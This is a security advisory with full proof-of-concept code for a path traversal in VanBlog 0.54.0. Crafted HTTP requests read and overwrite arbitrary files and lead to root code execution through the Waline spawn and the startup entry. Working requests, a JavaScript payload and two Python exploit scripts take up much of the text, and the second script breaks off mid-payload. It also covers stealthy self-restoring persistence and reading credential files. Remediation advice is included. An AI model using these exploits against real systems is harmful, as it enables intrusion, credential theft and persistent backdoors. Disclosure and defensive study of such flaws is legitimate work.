Path Traversal in VanBlog ≤ 0.54.0 Leads to Arbitrary File Read/Write and Remote Code Execution
BUG_Author: Geronimo (VulDB UID 102234)
Affected Version: VanBlog 0.54.0 (latest release, official image mereith/van-blog:latest). Fixed on the master branch only; no fixed release has been published.
Vendor: Mereithhh/vanblog (GitHub)
Software: VanBlog — self-hosted blog system (NestJS + MongoDB backend, Next.js frontend, Umi admin SPA, Caddy reverse proxy, official Docker image)
Vulnerability Files:
packages/server/src/provider/static/local.provider.ts (lines 48–49 getFileContent → arbitrary read; lines 76–80 saveFile → arbitrary write)packages/server/src/controller/admin/customPage/customPage.controller.ts (GET /customPage/file, POST /customPage/upload — path / key / name passed through verbatim)packages/server/src/provider/static/static.provider.ts (lines 104–115 — uploaded file name is not normalized)packages/server/src/provider/waline/waline.provider.ts (spawn('node', ['../waline/node_modules/@waline/vercel/vanilla.js']))packages/server/src/controller/admin/setting/setting.controller.ts (PUT /setting/waline → walineProvider.restart())packages/server/src/utils/customPagePath.ts (the fix added on master: normalizeCustomPageRel / resolveCustomPageAbs, throwing ForbiddenException)The path traversal is the root cause; it can be turned into code execution through two different sinks. Both only require HTTP access and an administrator session — no host access, no Docker access.
| # | Sink that gets executed | What triggers execution | Remote attacker? | Timing |
|---|---|---|---|---|
| 1 | ../waline/node_modules/@waline/vercel/vanilla.js (spawned by the server itself) | saving the Waline settings (PUT /api/admin/setting/waline) | yes | immediate |
| 2 | /app/server/main.js (Node entry point) | any subsequent start of the container: docker restart, watchtower image update, host reboot, or a crash-restart policy | yes | on the next start |
Path 1 is fully immediate: the server spawns the overwritten file as a child process on the next settings save, and that child runs as root.
Path 2 is delayed rather than blocked: the payload is placed on the startup entry and executes as soon as the container is started again. A routine operation by the administrator — restarting the container, re-pulling the image with watchtower, or rebooting the host — is enough. An external attacker cannot trigger this directly, but the payload is persistent and runs as root on the next boot.
Both sinks share one root cause: the name / path parameters of the custom page endpoints are not
confined to the custom page directory. The vendor fixed this on master
(utils/customPagePath.ts, normalizeCustomPageRel / resolveCustomPageAbs, HTTP 403 for out-of-root
paths) but no fixed release has been published — 0.54.0 is still the latest version and the
official image is still affected.
Arbitrary file read (same endpoint family, no path validation on v0.54.0):
httpGET /api/admin/customPage/file?path=/&key=../../../../etc/passwd HTTP/1.1 Host: <target> token: <administrator JWT>
Response returns the file verbatim:
json{"statusCode":200,"data":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\n..."}
Root cause — local.provider.ts:48:
tsasync getFileContent(p: string, subPath: string) {
return fs.readFileSync(path.join(config.staticPath, 'customPage', p, subPath), ...);
}
path.join normalizes ../, so any file readable by the process can be read (/etc/passwd,
/app/caddy.json, /app/server/.env, /root/.picgo/config.json, …).
Arbitrary file write:
httpPOST /api/admin/customPage/upload?path=%2F&name=..%2F..%2F..%2F..%2Fetc%2Fx.txt
Response 201, and the src field even discloses the traversed path:
json{"statusCode":200,"data":{"src":"/static/customPage///../../../../etc/x.txt","isNew":true}}
Verified writes to /app, /etc and /root (all owned by root).
The process runs as root:
id inside the image returns uid=0(root) gid=0(root) groups=0(root)...; /app, /etc and
/root are writable.Sink 1 — the server spawns a file that the traversal can overwrite (immediate execution):
waline.provider.ts starts Waline as a child process with a relative path:
tsconst base = '../waline/node_modules/@waline/vercel/vanilla.js';
this.ctx = spawn('node', [base], { cwd: process.cwd(), detached: true, ... });
With cwd = /app/server this resolves to /app/waline/node_modules/@waline/vercel/vanilla.js,
which is writable through the traversal above.
setting.controller.ts restarts Waline on every save of its settings:
ts@Put('waline')
async updateWalineSetting(@Body() body: WalineSetting) {
const res = await this.settingProvider.updateWalineSetting(body);
await this.walineProvider.restart('更新 waline 设置,'); // -> run() -> spawn()
...
}
So the sequence is: overwrite the file → save the Waline settings once → the overwritten file is
executed by node as root. No container restart is involved.
Verified output from the overwritten file (official image, no restart):
WALINE-RCE uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Sink 2 — the startup entry can be overwritten (execution on the next start):
Container startup chain:
/app/entrypoint.sh -> node start.js -> spawn("node", ["main.js"], { cwd: "/app/server" })
Overwriting /app/server/main.js therefore places the payload on the container's startup path.
It executes as root as soon as the container starts again — after a manual restart, an automatic
image update, a host reboot, or a crash-restart policy.
Verified output after a restart:
VANBLOG-RCE-PROOF uid=0 ts=2026-10-19T11:22:32.337Z ls /: app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var ps aux: PID USER TIME COMMAND 1 root 0:00 sh entrypoint.sh 21 root 0:00 caddy run --pingback 127.0.0.1:42857 --config /app/caddy.json 37 root 0:00 node start.js 44 root 0:00 node main.js 52 root 0:00 ps aux
The payload runs with the same privileges as the container's main process (PID 1 is sh entrypoint.sh, also root).
Both sinks can be made self-restoring, so the site stays online:
vanilla.js is read first with the arbitrary-read primitive and written back
after execution; the settings are saved once more so Waline keeps serving.main.js is saved as main.orig.js, and the payload spawns it as a child
process plus a keep-alive timer, so GET /api/public/meta still returns 200 afterwards.Evidence collection works over HTTP only:
The payload writes its output into the served static directory (/app/static/rce-<id>.txt), which
is reachable as http://<target>/static/rce-<id>.txt. No host access is needed; /app/static is a
Docker volume in the official image, so the file also survives a restart.
The vendor fixed it on master — evidence that this is a recognized vulnerability:
New utils/customPagePath.ts:
tsexport function normalizeCustomPageRel(...parts: string[]): string { ... throw new ForbiddenException('非法路径'); }
export function resolveCustomPageAbs(...parts: string[]): string { ... }
static.provider.ts:107 became fileName = normalizeCustomPageRel(customPathname, file.originalname);
every read/write/delete in local.provider.ts now goes through resolveCustomPageAbs.
Regression tests were added (customPagePath.spec.ts, customPage.provider.upload.spec.ts):
tsexpect(() => normalizeCustomPageRel('uptime', '../secret')).toThrow(ForbiddenException);
expect(() => resolveCustomPageAbs('uptime/../../../etc/passwd')).toThrow(ForbiddenException);
The fix is not part of any release: 0.54.0 is still latestVersion and the official image is
still affected.
Control — the same requests on master:
| Target | read /etc/passwd | upload ../../etc/x |
|---|---|---|
| v0.54.0 release image | HTTP 200 + content | HTTP 201 |
| master source build | HTTP 403 {"message":"非法路径"} | HTTP 403 |
Path confinement is the actual defect, not the feature itself:
The legitimate feature only writes inside <static>/customPage/. The same request with a ../
sequence must therefore be rejected — and it is, on master:
| Request (same endpoint, same feature) | v0.54.0 | master |
|---|---|---|
name=inside-demo.txt (legitimate) | 201 → <static>/customPage/inside-demo.txt | 201 → same |
name=../../../../tmp/outside.txt | 201 → /tmp/outside.txt | 403 非法路径 |
The vendor's own fix treats out-of-root paths as invalid, which is why this is a defect and not intended behaviour.
Confirm the version:
GET /api/public/meta -> {"version":"v0.54.0","latestVersion":"v0.54.0"}
Arbitrary read — confirm the primitive and grab the file to restore later:
GET /api/admin/customPage/file?path=/&key=../../../../etc/passwd -> 200, 29 lines, first three: root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin GET /api/admin/customPage/file?path=/&key=../../../../app/waline/node_modules/@waline/vercel/vanilla.js -> 200, 391 bytes (official image)
Arbitrary write — overwrite the file the server spawns:
POST /api/admin/customPage/upload?path=/&name=../../../../app/waline/node_modules/@waline/vercel/vanilla.js -> 201 {"src":"/static/customPage///../../../../app/waline/node_modules/@waline/vercel/vanilla.js"}
The payload used for verification only runs id, writes one marker file and exits:
jsconst fs = require('fs'); const { execSync } = require('child_process');
const NL = String.fromCharCode(10);
let o = ''; try { o = execSync('id 2>&1').toString().trim(); } catch (e) { o = 'ERR ' + e.message; }
try { fs.writeFileSync('/app/static/waline-rce-<id>.txt', 'WALINE-RCE ' + o + NL); } catch (e) {}
process.exit(0);
Trigger the spawn by saving the Waline settings once:
GET /api/admin/setting/waline -> current settings PUT /api/admin/setting/waline (same body) -> 200
Fetch the result over HTTP:

GET /static/waline-rce-<id>.txt -> WALINE-RCE uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Read the original entry (for the self-restore variant):
GET /api/admin/customPage/file?path=/&key=../../../../app/server/main.js -> 5118 bytes
Overwrite it:
POST /api/admin/customPage/upload?path=/&name=../../../../app/server/main.js -> 201 (payload)
Any later start executes it as root — a manual docker restart, a watchtower image update, a
host reboot, or a crash-restart policy. Verified after a restart:

VANBLOG-RCE-PROOF uid=0 ts=2026-10-19T11:22:32.337Z ls /: app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var ps aux: PID USER TIME COMMAND 1 root 0:00 sh entrypoint.sh 21 root 0:00 caddy run --pingback 127.0.0.1:42857 --config /app/caddy.json 37 root 0:00 node start.js 44 root 0:00 node main.js 52 root 0:00 ps aux
Also verified on a root-only directory:
ls -la /root: drwx------ root .cache .config .local .npm .picgo .step
Result retrieval over HTTP (web proof mode):
GET http://<target>/static/rce-humm4m.txt
The service is restored automatically (stealth check):
GET /api/public/meta -> HTTP 200 (the payload re-launched the original entry as a child)
The following commands were used while verifying on a disposable local container. They are not available to a remote attacker; the same facts are already proven over HTTP by the marker files.
docker restart <container> docker logs <container> | grep RCE-PROOF # the container's own stdout docker exec <container> id # matches uid in the result docker inspect <container> --format '{{.Id}}' # prefix == hostname in the result curl http://<target>/static/rce-*.txt # fetched directly, independent of any tool
An attacker holding an administrator session — obtained directly, or through the stored XSS in the same product, which lets a zero-permission collaborator steal the administrator JWT — can:
caddy.json, image-host credentials, credentials
under /root;200 and the compromise is
hard to notice.This results in full control of the container: credentials, site content, persistent backdoors and lateral movement.
Chained with the stored XSS, the attack starts at PR
(zero-permission collaborator), giving CVSS 9.3.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H = 9.1 (Critical) —
no restart and no host access are required for the primary (Waline spawn) path.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.3 (Critical)Add packages/server/src/utils/customPagePath.ts and route every path through it:
tsexport function normalizeCustomPageRel(...parts: string[]): string {
const rel = toPosixRel(path.join(...parts)); // normalize first (removes ../)
if (!rel || rel.startsWith('..') || path.isAbsolute(rel)) {
throw new ForbiddenException('invalid path');
}
return rel;
}
export function resolveCustomPageAbs(...parts: string[]): string {
const root = path.resolve(config.staticPath, 'customPage');
const abs = path.resolve(root, normalizeCustomPageRel(...parts));
if (abs !== root && !abs.startsWith(root + path.sep)) { // second boundary check
throw new ForbiddenException('invalid path');
}
return abs;
}
Then update all call sites (not just one):
local.provider.ts: getFileContent, saveFile, deleteCustomPageFile, getFolderFiles,
updateCustomPageFileContentstatic.provider.ts:107: fileName = normalizeCustomPageRel(customPathname, file.originalname)Rule for code review: any new endpoint must use these helpers — path.join(staticPath, userInput)
should be rejected.
tsconst ext = path.extname(file.originalname).toLowerCase();
const ALLOW = ['.jpg', '.jpeg', '.png', '.gif', '.webp', '.avif'];
if (!ALLOW.includes(ext)) throw new BadRequestException('unsupported file type');
const fileName = `${currentSign}${ext}`; // ignore originalname completely
Decode and re-encode with sharp; reject anything that fails instead of keeping the original bytes:
tsconst img = await sharp(buffer).toBuffer(); // throws -> respond 400
dockerfileUSER node
yaml# docker-compose
read_only: true
tmpfs: ["/tmp", "/var/log"]
volumes: ["static:/app/static"]
With this, an arbitrary file write can no longer overwrite /app/server/main.js,
/app/entrypoint.sh or /app/waline/node_modules/@waline/vercel/vanilla.js.
entrypoint.sh should verify the entry hash (or an image signature) before starting and refuse to boot
on mismatch:
shsha256sum -c /app/server/main.js.sha256 || { echo "main.js tampered"; exit 1; }
The same applies to the files that are spawned later (waline, website).
customPage routes from the collaborator whitelist; require an explicit customPage:*
permission.upload / delete / file
(read and write) — traversal attempts then become visible.X-Content-Type-Options: nosniff on /static;Content-Disposition: attachment for non-image types;Content-Security-Policy: default-src 'self'; object-src 'none'; frame-ancestors 'self';localStorage to an HttpOnly; Secure; SameSite=Strict cookie.0.54.0 is still the latest release and remains affected. Publish a release containing the fix and
reference the CVE in the changelog / GitHub Security Advisory so downstream users and scanners can act
on it.
mereith/van-blog:latest (reports v0.54.0) with mongo:4.4.16, disposed after the
test.master branch built from source (tsc -p tsconfig.build.json) against the same MongoDB.uid=0(root); reading /etc/passwd, writing /app /etc /root, executing
id via the Waline spawn sink, and executing ls / / ps aux through the startup entry all
succeeded; the site returned HTTP 200 again afterwards (self-restore active).waline_verify.py (Python 3, standard library only) reproduces the immediate path end to end. It reads
the original file first and restores it at the end, so the instance keeps working; the payload itself
only runs id, writes one marker file under /app/static and exits.
bashpython waline_verify.py --base http://target --user admin --pass 'MyPass123'
# or with an existing token
python waline_verify.py --base http://target --token eyJ...
Credentials can also be supplied through the environment variable VANBLOG_PASS; the CONFIG block
intentionally ships empty so that published copies never contain real credentials.
python#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
VanBlog - RCE without container restart (Waline spawn sink)
================================================================================
Affected: VanBlog 0.54.0 (official image mereith/van-blog:latest).
Fixed on master only (packages/server/src/utils/customPagePath.ts); no fixed release yet.
Two sinks are reachable through the same path traversal in the custom page API:
Sink 1 (original advisory): overwrite /app/server/main.js, then the container must be restarted.
Sink 2 (this script): overwrite ../waline/node_modules/@waline/vercel/vanilla.js, then the
server itself spawns it with `node` on the next Waline settings save.
No container restart and no host access are required.
Verified root cause (writer):
POST /api/admin/customPage/upload?path=/&name=../../../../<abs path>
-> local.provider.ts -> fs.writeFileSync(path.join(staticPath,'customPage',name))
Verified root cause (trigger):
packages/server/src/provider/waline/waline.provider.ts
const base = '../waline/node_modules/@waline/vercel/vanilla.js';
this.ctx = spawn('node', [base], { cwd: process.cwd(), detached: true, ... });
packages/server/src/controller/admin/setting/setting.controller.ts
PUT /api/admin/setting/waline -> walineProvider.restart()
Safety notes:
* The original file is read first with the arbitrary-read primitive and restored at the end.
* The payload only runs `id`, writes one marker file under /app/static and exits.
* Use it only against systems you are authorized to test.
Usage:
python waline_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123'
python waline_verify.py --base http://127.0.0.1:18095 --token eyJ... --no-restore
Exit codes: 0=code execution reproduced 1=not reproduced 3=configuration/authentication failure
Python standard library only.
"""
# ============================================================================
# CONFIG BLOCK (empty = fill in at run time; command line overrides)
# ============================================================================
BASE_URL = "" # e.g. "http://127.0.0.1:18095"
TOKEN = "" # existing JWT (takes priority)
USER = "" # e.g. "admin"
PASS = "" # plaintext or the 64-char front-end hash
# note: v0.54.0 hashes 3x, master builds 4x
TARGET = "/app/waline/node_modules/@waline/vercel/vanilla.js" # file spawned by the server
MARKER_DIR = "/app/static" # served over HTTP as /static/...
TRIGGER = "/api/admin/setting/waline" # saving this setting calls walineProvider.restart()
TRAVERSAL = "../../../../"
RESTORE = True # put the original file back when done
WAIT = 40 # seconds to wait for the marker file
TIMEOUT = 25
# ============================================================================
import argparse
import hashlib
import json
import os
import random
import string
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
# ---------------------------------------------------------------- helpers
def sha256_hex(s):
return hashlib.sha256(s.encode("utf-8")).hexdigest()
def encrypt_pwd(username, password):
"""Mirrors the front-end encryptPwd.js (3 rounds on v0.54.0, 4 rounds on master)."""
u = username.lower()
a = password
for _ in range(3):
a = sha256_hex(a)
return sha256_hex(u + sha256_hex(a + sha256_hex(u)))
def is_front_hash(s):
s = str(s)
return len(s) == 64 and all(c in "0123456789abcdefABCDEF" for c in s)
def marker(n=6):
return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
def hdr(t):
print("=" * 78, flush=True)
print(t, flush=True)
print("=" * 78, flush=True)
def ok(m):
print(" [PASS] " + m, flush=True)
def bad(m):
print(" [FAIL] " + m, flush=True)
def info(m):
print(" [ .. ] " + m, flush=True)
# ---------------------------------------------------------------- HTTP
def req(cfg, method, path, token=None, json_body=None, body=None, headers=None):
url = path if path.startswith("http") else cfg["base"] + path
hdrs = dict(headers or {})
if token:
hdrs["token"] = token
data = None
if json_body is not None:
data = json.dumps(json_body).encode()
hdrs["Content-Type"] = "application/json"
elif body is not None:
data = body
r = urllib.request.Request(url, data=data, headers=hdrs, method=method)
try:
with urllib.request.urlopen(r, timeout=cfg["timeout"]) as resp:
return resp.status, dict(resp.headers), resp.read()
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
except Exception as e:
return 0, {}, str(e).encode()
def jreq(cfg, method, path, token=None, json_body=None):
st, hd, raw = req(cfg, method, path, token, json_body)
try:
return st, hd, json.loads(raw.decode("utf-8", "replace"))
except Exception:
return st, hd, {}
def multipart(content, filename, ctype):
b = "----vbw" + "".join(random.choices(string.ascii_letters + string.digits, k=16))
body = b""
body += ("--%s\r\n" % b).encode()
body += ('Content-Disposition: form-data; name="file"; filename="%s"\r\n' % filename).encode()
body += ("Content-Type: %s\r\n\r\n" % ctype).encode()
body += content + b"\r\n"
body += ("--%s--\r\n" % b).encode()
return body, "multipart/form-data; boundary=" + b
# ---------------------------------------------------------------- primitives
def read_file(cfg, token, abs_target):
"""Arbitrary read: GET /customPage/file with a traversal in key."""
q = urllib.parse.quote(cfg["traversal"] + abs_target.lstrip("/"), safe="")
return req(cfg, "GET", "/api/admin/customPage/file?path=%2F&key=" + q, token)
def write_file(cfg, token, abs_target, content, filename, ctype):
"""Arbitrary write: POST /customPage/upload with a traversal in name."""
name = cfg["traversal"] + abs_target.lstrip("/")
body, ct = multipart(content, filename, ctype)
url = "/api/admin/customPage/upload?path=%2F&name=" + urllib.parse.quote(name, safe="")
return req(cfg, "POST", url, token, body=body, headers={"Content-Type": ct}), name
def payload_js(mk, marker_dir):
"""Writes one marker file with `id` output, then exits. No persistence, no network."""
js = (
"const fs=require('fs');const{execSync}=require('child_process');"
"const NL=String.fromCharCode(10);let o='';"
"try{o=execSync('id 2>&1').toString().trim()}catch(e){o='ERR '+e.message};"
"try{fs.writeFileSync('%s/waline-rce-%s.txt','WALINE-RCE '+o+NL)}catch(e){};"
"console.log('WALINE-RCE-EXEC '+o);process.exit(0);"
) % (marker_dir, mk)
return js.encode()
# ---------------------------------------------------------------- main
def main():
ap = argparse.ArgumentParser(description="VanBlog Waline-spawn RCE verification (no restart)")
ap.add_argument("--base", default=None)
ap.add_argument("--token", default=None)
ap.add_argument("--user", default=None)
ap.add_argument("--pass", dest="password", default=None)
ap.add_argument("--target", default=None)
ap.add_argument("--no-restore", dest="no_restore", action="store_true", default=False)
ap.add_argument("--wait", type=int, default=None)
args = ap.parse_args()
cfg = {
"base": (args.base or BASE_URL or "").rstrip("/"),
"token": args.token or TOKEN or "",
"user": args.user or USER or "",
"pass": args.password or PASS or "",
"target": args.target or TARGET,
"marker_dir": MARKER_DIR,
"trigger": TRIGGER,
"traversal": TRAVERSAL,
"wait": args.wait if args.wait is not None else WAIT,
"timeout": TIMEOUT,
}
print("-" * 78, flush=True)
print("Effective configuration", flush=True)
print(" BASE_URL = %s" % (cfg["base"] or "(not set)"), flush=True)
print(" TARGET = %s" % cfg["target"], flush=True)
print(" MARKER_DIR = %s" % cfg["marker_dir"], flush=True)
print(" TRIGGER = PUT %s" % cfg["trigger"], flush=True)
print(" RESTORE = %s" % (not args.no_restore), flush=True)
print("-" * 78, flush=True)
if not cfg["base"]:
bad("BASE_URL is not set. Pass --base, e.g. --base http://127.0.0.1:18095")
return 3
hdr("Pre-checks")
st, _, j = jreq(cfg, "GET", "/api/public/meta")
ver = ((j.get("data") or {}).get("version")) if isinstance(j, dict) else None
info("version = %s" % ver)
if st != 200:
bad("target unreachable: %s" % cfg["base"])
return 3
token = cfg["token"]
if not token:
if not (cfg["user"] and cfg["pass"]):
bad("no credentials (--user/--pass or --token)")
return 3
pw = cfg["pass"] if is_front_hash(cfg["pass"]) else encrypt_pwd(cfg["user"], cfg["pass"])
st, _, j = jreq(cfg, "POST", "/api/admin/auth/login",
json_body={"username": cfg["user"], "password": pw})
token = ((j.get("data") or {}).get("token")) if isinstance(j, dict) else None
info("login %s -> HTTP %s token=%s" % (cfg["user"], st, "yes" if token else "no"))
if not token:
bad("authentication failed")
return 3
st, _, j = jreq(cfg, "GET", "/api/admin/meta", token)
u = ((j.get("data") or {}).get("user")) or {}
info("session: name=%s id=%s type=%s" % (u.get("name"), u.get("id"), u.get("type")))
if u.get("type") != "admin":
bad("an administrator session is required")
return 3
# 1) read the original file (also proves the arbitrary read)
hdr("Step 1 - read the original Waline entry (arbitrary read)")
st, _, raw = read_file(cfg, token, cfg["target"])
try:
orig = json.loads(raw.decode("utf-8", "replace")).get("data") or ""
except Exception:
orig = ""
info("HTTP %s, %d bytes" % (st, len(orig)))
if st != 200 or not orig:
bad("could not read the target file (is the path correct for this image?)")
return 1
# 2) overwrite it
hdr("Step 2 - overwrite it (arbitrary write)")
mk = marker()
(st, _, raw), name = write_file(cfg, token, cfg["target"],
payload_js(mk, cfg["marker_dir"]), "vanilla.js",
"application/javascript")
info("name=%s" % name)
info("HTTP %s %s" % (st, raw.decode("utf-8", "replace")[:140]))
if st not in (200, 201):
bad("write failed")
return 1
# 3) trigger the spawn
hdr("Step 3 - save the Waline settings to trigger spawn('node', [target])")
st, _, cur = jreq(cfg, "GET", cfg["trigger"], token)
body = (cur.get("data") or {}) if isinstance(cur, dict) else {}
st, _, resp = jreq(cfg, "PUT", cfg["trigger"], token, body)
info("PUT %s -> HTTP %s %s" % (cfg["trigger"], st, json.dumps(resp)[:120]))
# 4) wait for the marker
hdr("Step 4 - wait for the marker file")
url = "/static/waline-rce-%s.txt" % mk
got = None
for _ in range(cfg["wait"] * 2):
st2, _, raw2 = req(cfg, "GET", url)
if st2 == 200 and b"WALINE-RCE" in raw2:
got = raw2.decode("utf-8", "replace").strip()
break
time.sleep(0.5)
if got:
ok("code executed as root: %s" % got)
info("marker URL: %s%s" % (cfg["base"], url))
else:
bad("no marker produced (the target may be patched, or the path differs)")
# 5) restore
if RESTORE and not args.no_restore:
hdr("Step 5 - restore the original file")
(st, _, raw), _ = write_file(cfg, token, cfg["target"], orig.encode(),
"vanilla.js", "application/javascript")
info("restore -> HTTP %s (%d bytes)" % (st, len(orig)))
st, _, _ = jreq(cfg, "PUT", cfg["trigger"], token, body)
info("triggered a restart again so Waline keeps serving")
print()
print("-" * 78, flush=True)
print("Conclusion: RCE reproduced WITHOUT a container restart" if got
else "Conclusion: not reproduced", flush=True)
print("-" * 78, flush=True)
return 0 if got else 1
if __name__ == "__main__":
sys.exit(main())
vanilla.js and re-triggers a restart, so Waline keeps serving./api/admin/auth/login, /api/admin/customPage/* (read and write) and
PUT /api/admin/setting/waline; it never deletes data.uid=, so you can tell whether the payload ran as root.rce_verify.py (Python 3, standard library only) performs three stages against a disposable container:
/etc/passwd) — non-destructive, enabled by default.--restart-cmd "docker restart <container>"); it is not available against
a remote target.bash# Stage A only (safe)
python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123'
# A + write probe (no restart)
python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123' \
--also-write --proof-mode web
# A + B + restart -> RCE with custom commands (local lab only)
python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123' \
--phase-b --proof-mode web --restart-cmd "docker restart vb-rce" \
--exec-cmd "ls /" --exec-cmd "ps aux" --exec-cmd "id"
python#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
VanBlog Path Traversal - arbitrary file read / arbitrary file write / RCE verification script
================================================================================
Affects released v0.54.0 and earlier only; master already fixes it via utils/customPagePath.ts (403 forbidden path).
Three primitives (same endpoint family, none of them validated on v0.54.0):
A. Arbitrary file read (non-destructive; this is the default)
GET /api/admin/customPage/file?path=/&key=../../../../etc/passwd
local.provider.ts:48 getFileContent() -> fs.readFileSync(path.join(staticPath,'customPage',p,subPath))
B. Arbitrary file write
POST /api/admin/customPage/upload?path=/&name=../../../../app/...
local.provider.ts:80 saveFile() -> fs.writeFileSync(path.join(...))
the process runs as root (uid=0) and can write /app, /etc, /root
C. Write + restart = RCE (destructive; only runs when --phase-b is given)
entrypoint.sh -> node start.js -> spawn("node",["main.js"],{cwd:"/app/server"})
after overwriting /app/server/main.js and restarting, the payload runs id / whoami / uname as root and reports back.
Warning: stage C permanently destroys the target's startup file (the image has no restore API); only run it in a disposable container.
Usage:
# read /etc/passwd only (default, safe)
python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123'
# read + write probe (no restart, the instance stays usable)
python rce_verify.py --base ... --user admin --pass '...' --also-write
# read + write + restart -> RCE (disposable container; executes id and reports back)
python rce_verify.py --base ... --user admin --pass '...' --phase-b \
--restart-cmd "docker restart vb-rce" \
--proof-host "F:\\...\\.master-run\\rce-proof" --proof-container /tmp/proof
Exit codes: 0=goal reached 1=not reproduced (probably patched) 3=configuration/authentication failure
Python standard library only.
"""
# ============================================================================
# === CONFIG BLOCK (empty = fill in; command-line options override) ===
# ============================================================================
BASE_URL = "" # required | e.g. "http://127.0.0.1:18095"
ADMIN_URL = "" # optional | empty = BASE_URL + "/admin/"
TOKEN = "" # optional | existing JWT
USER = "" # optional | e.g. "admin"
PASS = "" # recommended empty: pass with --pass or the VANBLOG_PASS env var
# note: v0.54.0 hashes the password 3x; master builds 4x (pass the 64-hex hash if the target is master)
# format: plaintext "MyPass123" or the 64-char front-end hash "0123456789abcdef..." (auto-detected)
READ_TARGET = "/etc/passwd" # stage A target (absolute path inside the container)
ENABLE_PHASE_B = False # * whether to run "write + restart -> RCE" (destructive)
ALSO_WRITE = False # also do a write probe during stage A (no restart)
TARGET_FILE = "/app/server/main.js" # stage B overwrite target
PAYLOAD_MARK = "VANBLOG-RCE-PROOF" # prefix of the marker written by the payload
EXEC_CMDS = ["id", "whoami", "hostname", "uname -a", "pwd"] # * commands executed inside the target (--exec-cmd adds/overrides)
PROOF_MODE = "host" # "host"=write into a host bind mount (lab) | "web"=write /app/static and read back over HTTP (real remote target)
PROOF_HOST = "" # host mode: e.g. r"F:\...\.master-run\rce-proof"
PROOF_CONTAINER = "/tmp/proof" # host mode: mount point inside the container
WEB_PROOF_PATH = "/app/static" # web mode: output directory (served under /static)
RESTART_CMD = "" # e.g. "docker restart vb-rce"
PROOF_WAIT = 90
TIMEOUT = 25
# ============================================================================
import argparse
import hashlib
import json
import os
import random
import shlex
import string
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
TRAVERSAL = "../../../../"
# ---------------------------------------------------------------- helpers
def sha256_hex(s):
return hashlib.sha256(s.encode("utf-8")).hexdigest()
def encrypt_pwd(username, password):
"""Mirrors the front-end encryptPwd.js (this is exactly what the server compares against)."""
u = username.lower()
a = password
for _ in range(3):
a = sha256_hex(a)
return sha256_hex(u + sha256_hex(a + sha256_hex(u)))
def is_front_hash(s):
s = str(s)
return len(s) == 64 and all(c in "0123456789abcdefABCDEF" for c in s)
def marker(n=6):
return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
def hdr(t):
print("=" * 78, flush=True)
print(t, flush=True)
print("=" * 78, flush=True)
def ok(m):
print(" [PASS] " + m, flush=True)
def bad(m):
print(" [FAIL] " + m, flush=True)
def info(m):
print(" [ .. ] " + m, flush=True)
# ---------------------------------------------------------------- HTTP
def multipart(field, filename, content, ctype):
b = "----vbrce" + "".join(random.choices(string.ascii_letters + string.digits, k=16))
body = b""
body += ("--%s\r\n" % b).encode()
body += ('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (field, filename)).encode()
body += ("Content-Type: %s\r\n\r\n" % ctype).encode()
body += content + b"\r\n"
body += ("--%s--\r\n" % b).encode()
return body, "multipart/form-data; boundary=" + b
def req(cfg, method, path, token=None, json_body=None, body=None, headers=None):
url = path if path.startswith("http") else cfg["base"] + path
hdrs = dict(headers or {})
if token:
hdrs["token"] = token
data = None
if json_body is not None:
data = json.dumps(json_body).encode()
hdrs.setdefault("Content-Type", "application/json")
elif body is not None:
data = body
r = urllib.request.Request(url, data=data, headers=hdrs, method=method)
try:
with urllib.request.urlopen(r, timeout=cfg["timeout"]) as resp:
return resp.status, dict(resp.headers), resp.read()
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
except Exception as e:
return 0, {}, str(e).encode()
def jreq(cfg, method, path, token=None, json_body=None):
st, hd, raw = req(cfg, method, path, token, json_body)
try:
return st, hd, json.loads(raw.decode("utf-8", "replace"))
except Exception:
return st, hd, {}
# ---------------------------------------------------------------- primitives
def read_file(cfg, token, abs_target):
"""A: GET /customPage/file path traversal - read any file."""
q = urllib.parse.quote(TRAVERSAL + abs_target.lstrip("/"), safe="")
return req(cfg, "GET", "/api/admin/customPage/file?path=%2F&key=" + q, token)
def read_file_alt(cfg, token, abs_target):
"""A, alternative form: traversal in path, file name in key."""
p = urllib.parse.quote("/".join(TRAVERSAL.rstrip("/").split("/")), safe="")
k = urllib.parse.quote(os.path.basename(abs_target), safe="")
return req(cfg, "GET", "/api/admin/customPage/file?path=" + p + "&key=" + k, token)
def write_file(cfg, token, abs_target, content, filename="probe.txt"):
"""B: POST /customPage/upload path traversal - write any file."""
rel = TRAVERSAL + abs_target.lstrip("/")
body, ct = multipart("file", filename, content, "text/plain")
url = "/api/admin/customPage/upload?path=%2F&name=" + urllib.parse.quote(rel, safe="")
return req(cfg, "POST", url, token, body=body, headers={"Content-Type": ct}), rel
def rce_payload(mk, out_path, cmds):
"""Payload executed after the startup entry is overwritten: it runs the given commands
inside the container and reports the output. The JS builds lines with String.fromCharCode(10) to avoid backslash escaping."""
lines = []
for c in cmds:
label = c.replace("'", "")
lines.append(" '%s: ' + run('%s')," % (label, c.replace("'", "")))
body = "\n".join(lines)
js = (
"// injected via VanBlog path-traversal upload (%s)\n"
"const fs = require('fs');\n"
"const { execSync } = require('child_process');\n"
